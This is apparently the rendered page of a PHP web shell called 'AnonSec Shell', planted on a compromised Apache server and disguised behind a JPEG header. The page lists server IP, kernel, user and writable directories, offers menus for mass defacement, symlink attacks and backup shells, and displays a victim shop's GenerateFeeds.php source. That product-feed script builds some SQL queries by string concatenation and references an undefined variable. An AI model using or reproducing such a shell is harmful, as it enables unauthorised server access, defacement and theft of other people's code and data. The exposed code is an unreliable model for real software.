JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 31.31.79.131  /  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/console/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/console/GenerateFeeds.php
<?php

namespace App\Promo\console;

use Nette\Database\Context;
use Promoteus\Component\ProductImageModernizer;
use Promoteus\ImagesTypeRepository;
use Promoteus\PageRepository;
use Promoteus\ProductRepository;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use SimpleXMLElement;

class GenerateFeeds extends Command
{
    /** @var Context */
    private $db;

    /** @var ProductImageModernizer */
    private $productImageModernizer;

    /** @var ProductRepository @inject */
    public $productRepository;

     private $langs = ["cze", "eng", "ger", "svk"];
//     private $langs = ["cze", "ger", "svk"];
//    private $langs = ["eng"];

    public function __construct(Context $db, ProductImageModernizer $productImageModernizer)
    {
        parent::__construct();
        $this->db = $db;
        $this->productImageModernizer = $productImageModernizer;
    }

    protected function configure(): void
    {
        $this->setName('app:generateFeeds');
    }

    protected function execute(InputInterface $input, OutputInterface $output)
    {
        $start = date('H:i:s');
        $productBasicData = $this->getProducts('basic');

        // loop through languages
        foreach ($this->langs as $lang) {
            switch ($lang) {
                case "cze":
                    $domain = "promoteus.cz";
                    $langCode = 'cs';
                    break;
                case "eng":
                    $domain = "promoteusgifts.com";
                    $langCode = 'en';
                    break;
                case "ger":
                    $domain = "promoteusgifts.de";
                    $langCode = 'de';
                    break;
                case "svk":
                    $domain = "promoteusgifts.sk";
                    $langCode = 'sk';
                    break;
                default:
                    $domain = "promoteus.cz";
                    $langCode = 'cs';
            }

            $filename = 'products_' . $langCode . '.xml';
            echo 'Creating feed ' . $filename . PHP_EOL;
            echo time() . PHP_EOL;

            // create new XML element
            $xml = new SimpleXMLElement('<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"/>');

            /*$track = $xml->addChild('url');
            $track->addChild('loc', "https://$domain");
            $track->addChild('changefreq', "daily");
            $track->addChild('priority', 1);*/

            $productsRow = $xml->addChild('products');

            foreach ($productBasicData as $key => $item) {
                $itemFullCode = sprintf("%s_%s_%s", $item->product_code, $item->color_code, $item->capacity_code);
                $nameColumn = "short_description_$lang";
                $descriptionColumn = "description_$lang";
                $activeColumn = "active_$lang";
                if (!$item->$activeColumn) {
                    continue;
                }

                // insert base data
                $productRow = $productsRow->addChild('product');
                $productRow->addChild('itemNumber', $itemFullCode);
                $productRow->addChild('designName', $item->$nameColumn);

                // product colors
                $colorColumn = "color_name_$lang";
                $productRow->addChild('primaryColor', $item->$colorColumn);
                //$productRow->addChild('secondaryColor', $item->colors[$colorColumn]);

                $productRow->addChild('name', $item->$nameColumn);

                // insert product images
                if (isset($item->images) && count($item->images) != 0) {
                    $productImages = $item->images;
                    $productRow->addChild('primaryImage', "https://" . $domain . "{$item->image_primary->thumb}");
                    $productImagesRow = $productRow->addChild('images');
                    foreach ($productImages as $i => $image) {
                        $fullUrl = "https://www." . $domain . $image->thumb;
                        $productImagesRow->addChild('image', $fullUrl);
                    }
                }

                $productRow->addChild('description', $item->$descriptionColumn);
                $productRow->addChild('temporarilyUnavailable', $item->$activeColumn == 1 ? 0 : 1);
                $productRow->addChild('customProduction'); //TODO
                /* if (isset($item->min_order)) {
                    $productRow->addChild('minimumOrderQuantity', $item->min_order->number);
                } */
                $productRow->addChild('minimumOrderQuantity', $item->moq);
                $productRow->addChild('countryOfOrigin'); //TODO
                $productRow->addChild('eanCode'); //TODO

                // package data
                $packageDataRow = $productRow->addChild('packageDatas');
                $packageDataSubRow = $packageDataRow->addChild('packageData');
                $packageDataSubRow->addChild('code', $item->package_type);
                $packageDataSubRow->addChild('quantity', 1);
                $packageDataSubRow->addChild('length', $item->transboard_length);
                $packageDataSubRow->addChild('width', $item->transboard_width);
                $packageDataSubRow->addChild('height', $item->transboard_height);

                $packageDataSubRow->addChild('weight', $item->total_weight != NULL ? $item->total_weight : 0); //TODO
                $packageDataSubRow->addChild('grossWeight', $item->weight != NULL ? $item->weight : 0); //TODO

                // specifications
                $specificationsRow = $productRow->addChild('specification');
                if (isset($item->materials) && count($item->materials) != 0) {
                    $propertyRow = $specificationsRow->addChild('property');
                    foreach ($item->materials as $m => $material) {
                        $m += 1;
                        $valueColumn = "name_$lang";
                        $propertyNameRow = $propertyRow->addChild('name', "Material $m");
                        $propertyValueRow = $propertyNameRow->addChild('values');
                        $propertyValueRow->addChild('value', $material->$valueColumn);
                    }
                }

                $capacityRow = $specificationsRow->addChild('property');
                $capacityRow->addChild('name', 'Capacity');
                $capacityValueRow = $capacityRow->addChild('values');
                $capacityValueRow->addChild('value', $item->capacity_name);

                // categories
                if (isset($item->categories) && count($item->categories) != 0) {
                    $categoriesRow = $productRow->addChild('categories');
                    $level = (int)count($item->categories);
                    foreach ($item->categories as $category) {
                        $categoryNameColumn = "name_$lang";
                        $categoriesSubRow = $categoriesRow->addChild('category');
                        $categoriesSubRow->addChild('externalId', $category->id);
                        $categoriesSubRow->addChild('level', $level);
                        $level -= 1;
                        $categoriesSubRow->addChild('name', $category->$categoryNameColumn);
                    }
                }
            }

            // ensure the directory exists
            $directory = WWW_DIR . "/feeds";
            if (!is_dir($directory)) {
                mkdir($directory, 0755, true);
            }

            // If file exists, delete it
            if (file_exists($directory . '/' . $filename)) {
                unlink($directory . '/' . $filename);
            }

            // parse result xml
            $result = $xml->asXML();
            $result = str_replace('<?xml version="1.0"?>', '<?xml version="1.0" encoding="utf-8"?>', $result);

            // save the XML content to a file
            file_put_contents($directory . "/$filename", $result);

            echo 'Feed ' . $filename . ' created successfully.' . PHP_EOL;
            echo time() . PHP_EOL;
        }

        $end = date('H:i:s');
        $output->writeln('Feeds generated successfully. ' . $start . '-' . $end);
    }

    private function getProducts(string $type)
    {
        $acceptedCodes = [
            "UDM001",
            "PHO112",
            "SPE2178",
            "PHO125",
            "PBQ5000",
            "PBA10002PD",
            "UDM1192",
            "UDM1226",
            "UDM1190",
            "PBQ086",
            "PBA5016",
            "PBQ121",
        ];

        $productsData = [];

        // UDM001
        $products = $this->db->query("
            SELECT *, p.code as product_code,
                   lc.code as capacity_code,
                   lc.name as capacity_name,
                   lb.code as color_code,
                   lb.name_cze as color_name_cze,
                   lb.name_eng as color_name_eng,
                   lb.name_ger as color_name_ger,
                   lb.name_svk as color_name_svk,
                   p.name_cze as product_name_cze,
                   p.name_eng as product_name_eng,
                   p.name_ger as product_name_ger,
                   p.name_svk as product_name_svk,
                   p.type as package_type,
                   lmo.number as moq
            FROM product p
                JOIN link_product_capacity lpc ON lpc.product_id = p.id
                JOIN list_capacity lc ON lc.id = lpc.capacity_id
                JOIN link_product_color lpb ON lpb.product_id = p.id
                JOIN list_color lb ON lb.id IN (lpb.color_id, lpb.color2_id)
                JOIN ( select product_id, min(min_order_id) as min_order_id
                       from link_product_min_order
                       group by product_id
                ) lpmo on lpmo.product_id = p.id
                JOIN list_min_order lmo on lmo.id = lpmo.min_order_id
            WHERE (
                active_cze = 1 OR
                active_eng = 1 OR
                active_ger = 1 OR
                active_svk = 1
            )
            ORDER BY p.id ASC;
        ")->fetchAll();

        foreach ($products as $key => $product) {
            $productId = $product->id;
            $productsData[$key] = $product;

            // get products materials
            $materialsIds = $this->db->query('SELECT material_id FROM link_product_material WHERE product_id = ' . $productId)->fetchAll()[0];
            if (!empty($materialsIds)) {
                $materialsIds = array_values(array_filter([$materialsIds->material_id]));
                $productsData[$key]['materials'] = $this->db->query('SELECT * FROM list_material WHERE id IN (?)', $materialsIds)->fetchAll();
            }

            // get product images
            $productsData[$key]['images'] = $this->productImageModernizer->getProductImages($product->product_code, null, ['feed' => 1]);
            $image_primary = $this->productImageModernizer->getProductImageByType($product->product_code, 'primary', ['feed' => 1]);
            if (!$image_primary['image']) {
                $image_primary = $productsData[$key]['images'][0];
            }
            $productsData[$key]['image_primary'] = $image_primary;

            // get default brand
            if ($product->default_manufacturer != NULL || $product->default_manufacturer != '') {
                $productsData[$key]['brand'] = $this->db->query('SELECT name FROM list_manufacturer WHERE id = ' . $product->default_manufacturer)->fetchAll()[0];
            }

            // get product min order quantity
            // $productsData[$key]['min_order'] = $this->db->query('SELECT * FROM list_min_order lmo JOIN link_product_min_order lpmo ON lpmo.min_order_id = lmo.id WHERE lpmo.product_id = ' . $productId)->fetchAll()[0];

            //get product categories
            $categoryIds = $this->db->query('SELECT category_id FROM link_product_category WHERE product_id = ' . $productId)->fetchAll();
            $categories = [];
            if (!empty($categoryIds)) {
                foreach ($categoryIds as $categoryId) {
                    $categoryId = $categoryId->category_id;
                    do {
                        $category = $this->db->query('SELECT * FROM category WHERE id = ' . $categoryId)->fetchAll()[0];

                        if ($category) {
                            $categories[] = $category;
                            array_unshift($categoryHierarchy, $category);
                            $categoryId = $category->parent_id;
                        }
                    } while ($category && $category->parent_id);
                }
                $productsData[$key]['categories'] = $categories;
            }
        }
        /*file_put_contents(WWW_DIR . '/data.json', json_encode($productsData));
        die();*/

        return $productsData;
    }
}

Anon7 - 2022
AnonSec Team